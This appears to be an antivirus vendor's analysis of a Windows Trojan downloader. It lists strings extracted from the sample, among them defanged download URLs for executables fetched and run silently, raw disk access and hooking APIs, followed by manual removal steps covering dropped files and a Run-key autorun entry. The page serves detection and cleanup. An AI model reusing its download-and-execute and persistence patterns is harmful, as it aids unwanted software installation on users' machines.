CreateDirectory: "%s" (%d)
SetFileAttributes: "%s":X
Sleep(%d)
detailprint: %s
Call: %d
Aborting: "%s"
Jump: %d
HKERNEL32.DLL
mscoree.dll
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
WUSER32.DLL
hXXp://dldir1.qq.com/qqfile/qq/plugin/setuppkg.7z.output
_TX~QQSetupEx~0503~A1C22B84-CE8D-437A-AA60-6D3ABCB18ACF
RCreateWindowsDirTemp
R:\TempView\Misc\Setup3\BackupDownloader\BackupDownload.cpp
create folder :%s error, errcode:%lu
dir:%s
ParseCmdLine
`anonymous-namespace'::ParseCmdLine
cmd line
r:\tempview\misc\setup3\backupdownloader\installobject\InstallObject.h
GetExitCodeProcess exit code : %u
CInstallObjectAgent::CloseProcessHandle
ID=%d
r:\tempview\misc\setup3\backupdownloader\installobject\InstallObjectDefault.h
%d.%d.%d.%d
R:\TempView\Misc\Setup3\BackupDownloader\InstallObject\InstallObjectDefault.cpp
%s\drivers\usbvideo.sys
usbvideo.sys file version: %s
5.1.2600.2729
usbvideo.sys file version is big than 5.1.2600.2729, no need install KB899271
SOFTWARE\Microsoft\Updates\Windows XP\SP3\KB899271
has register key:SOFTWARE\Microsoft\Updates\Windows XP\SP3\KB899271 , no need install KB899271
hXXp://download.microsoft.com/download/4/6/0/460ca2ec-55b8-46d6-afb6-b644a7e03d71/WindowsXP-KB899271-v4-x86-CHS.exe
hXXp://dldir1.qq.com/music/clntupate/QzoneMusicInstall.exe
hXXp://dldir1.qq.com/music/clntupate/QQPhotoDrawExSetupForQQ.exe
hXXp://dldir1.qq.com/P2PUpdate/P2PSetup.exe
hXXp://dldir1.qq.com/qqfile/qq/videomsg/VideoMsgInstall.exe
hXXp://dldir1.qq.com/qqfile/qq/plugin/VideoShowPlayerInstall.exe
hXXp://dldir1.qq.com/qqfile/qq/plugin/VideoBeautyInstall.exe
hXXp://dldir1.qq.com/invc/cyclone/QQMiniDL_Setup.exe
hXXp://dlied6.qq.com/invc/xfspeed/kxg/versetup/QQWifiDL.exe
Copy File : %s to %s error, errcode:%lu
hXXp://dldir1.qq.com/qqfile/qq/plugin/QQGameMicro_setup.exe
\QQGame.exe
QQGame.exe
hXXp://dldir1.qq.com/qqfile/qq/plugin/HotWordInstall.exe
hXXp://androidpc.app.qq.com/app1/vertis.do?id=201409090001
BrowserInstaller.exe
@hXXp://dldl.qq.com/dl/qqie8
hXXp://dldl.qq.com/dl/qq
hXXp://dldir1.qq.com/music/clntupate/QQMusicDownloader.exe
hXXp://dldir1.qq.com/qqtv/qqlivesetup.exe
QQBrowser_Setup_QQ.exe
hXXp://dldir3.qq.com/minigamefile/QQGameDownloader.exe
hXXp://ws.sj.qq.com/webservices/download.do?yw=qq
QQPhoneManager_700024.exe
\rundll32.exe
R:\TempView\Misc\Setup3\BackupDownloader\Util\7zUtil.cpp
decoder doesn't support this archive
ERROR #%d
gfile path : %s
R:\TempView\Misc\Setup3\BackupDownloader\Util\DecryptUtil.cpp
Open file failed, error code : %u
Get file size failed, error code : %u
File size too large, HighPart = %u
AR:\TempView\Misc\Setup3\BackupDownloader\DataReport\DataReport.cpp
DataReport::UploadInstallResult
log.tlg
\\.\PhysicalDrive0
Siphlpapi.dll
ACreateDownloader. uiCustomID = %d
strFilePath = %s
uiCustomID = %d
CDownload::IsWorking(). m_bInited = %d
strUrl = %s
strFileName = %s
CDownload::DeleteTask(). uiTaskID = %d
CDownload::HandleDeleteTask(). uiTaskID = %d
CDownload::DeleteTask(). strUrl = %s
CDownload::HandleDeleteTask(). strUrl = %s
CDownload::SetDownloadSpeed(). uiSpeed = %d
CDownload::SetP2PUploadSpeed(). uiSpeed = %d
CDownload::HandleSetP2PUploadSpeed(). uiSpeed = %d
CDownload::SetSafeMode(). bSafeMode = %d
CDownload::HandleSetSafeMode(). bSafeMode = %d
stProxyInfo.eProxyType = %d
stProxyInfo.strProxyIP = %s
stProxyInfo.usProxyPort = %d
CDownload::OnNotify()->OnDownloadComplete. uiTaskID = %d, uiResult = %d, uiErrorCode = %d, uiDetailErrorCode = %d
Adlcore.dll
QQPCDetector.dll
R:\TempView\Misc\Setup3\BackupDownloader\Network\BizInstallerMgr.cpp
task:%lu, download error code:%d
task:%lu, filename:%s
%d not need to download
%d need to download
name = %s
url = %s
args = %s
filename = %s
dlcore dll not exist, file:%s
iter->bFinished:%d
Start ObjectId:%u
m_oDownloadMgr.StartTask returns:%d
default file %s download ok, local file : %s
optional file %s download ok, local file : %s
%s...
ObjId: %u
Name: %s
Url: %s
Args: %s
Filename: %s
install a file:%s
run install failed, error code : %u
GetDectectorResult() successed, wording: %s
RunDetector successed, dwOperator == %d
RunDetector failed, dwOperator == %d
dwOperator Invaild, dwOperator == %d
GetInstallObjsReportString
CBizInstallerMgr::GetInstallObjsReportString
R:\TempView\Misc\Setup3\BackupDownloader\Network\BizInstallerWindow.cpp
WM_TASKTRAY_MSG
dwCookie:%d
R:\TempView\Misc\Setup3\BackupDownloader\Network\DownloadMgr.cpp
CreateDownloadTask,Url:%s, localPath:%s
CDownloadMgr::CreateHttpDownloadTask
m_oDownloader.StartTask, dwCookie:%d, return %d
CDownloadMgr::DeleteTask, dwCookie:%d
m_mapCookieToTask.erase, dwCookie:%d
szFileName = %s
7.1.14522.0
1, 0, 6, 6
- Skin.dll
(*.*)

%original file name%.exe_584_rwx_10000000_0003E000:

`.rsrc
L$(h%f
SSh0j
msctls_hotkey32
TVCLHotKey
THotKey
\skinh.she
}uo,x6l5k%x-l h
9p%s m)t4`#b
e"m?c&y1`Ð<
SetViewportOrgEx
SetViewportExtEx
SetWindowsHookExA
UnhookWindowsHookEx
EnumThreadWindows
EnumChildWindows
`c%US.4/
!#$<#$#=
.text
`.rdata
@.data
.rsrc
@.UPX0
`.UPX1
`.reloc
hJK.ZH
O.qt0
KERNEL32.DLL
COMCTL32.dll
GDI32.dll
MSIMG32.dll
MSVCRT.dll
MSVFW32.dll
USER32.dll
SkinH_EL.dll
1, 0, 6, 6
- Skin.dll


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):

    ¾Á°®¸¨Öú.exe:944

  2. Delete the original Trojan file.
  3. Delete or disinfect the following files created/modified by the Trojan:

    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KHYZ412V\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\K5MFCXY3\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Application Data\9ifz\¾Á°®¸¨Öú.exe (1632 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\N4QZRPF3\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Application Data\9ifz\dlcore.dll (49 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\I41HJ4J3\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Desktop\Internet Explorer.lnk (809 bytes)
    %Documents and Settings%\%current user%\Application Data\Microsoft\Crypto\RSA\S-1-5-21-1844237615-1960408961-1801674531-1003\c5b88721db08c824db69d0bbc702beb8_75ed9567-aa58-4c8e-a8ea-3cad7c47ab03 (44 bytes)
    %Documents and Settings%\%current user%\Start Menu\Programs\Internet Explorer.lnk (815 bytes)

  4. Delete the following value(s) in the autorun key (How to Work with System Registry):

    [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
    "½ûÖ¹ºó¿ÉÄÜ»áÑÏÖØÓ°ÏìϵͳµÄÎȶ¨ÐÔ£¬½¨Òé²»Òª½ûÖ¹£¡" = "%Documents and Settings%\%current user%\Application Data\9ifz\¾Á°®¸¨Öú.exe"

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

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